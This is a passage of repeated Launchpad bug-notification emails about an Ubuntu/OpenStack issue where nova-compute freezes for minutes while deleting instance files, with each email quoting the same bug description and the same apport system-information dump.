PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve
[Kernel-packages] [Bug 1766543] DeviceTree.tar.gz
apport information ** Attachment added: "DeviceTree.tar.gz" https://bugs.launchpad.net/bugs/1766543/+attachment/5168117/+files/DeviceTree.tar.gz -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] ProcCpuinfoMinimal.txt
apport information ** Attachment added: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168122/+files/ProcCpuinfoMinimal.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not
[Kernel-packages] [Bug 1766543] CurrentDmesg.txt
apport information ** Attachment added: "CurrentDmesg.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168116/+files/CurrentDmesg.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] HookError_generic.txt
apport information ** Attachment added: "HookError_generic.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168118/+files/HookError_generic.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve
[Kernel-packages] [Bug 1766543] ProcInterrupts.txt
apport information ** Attachment added: "ProcInterrupts.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168123/+files/ProcInterrupts.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve
[Kernel-packages] [Bug 1766543] WifiSyslog.txt
apport information ** Attachment added: "WifiSyslog.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168129/+files/WifiSyslog.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] Lspci.txt
apport information ** Attachment added: "Lspci.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168120/+files/Lspci.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, 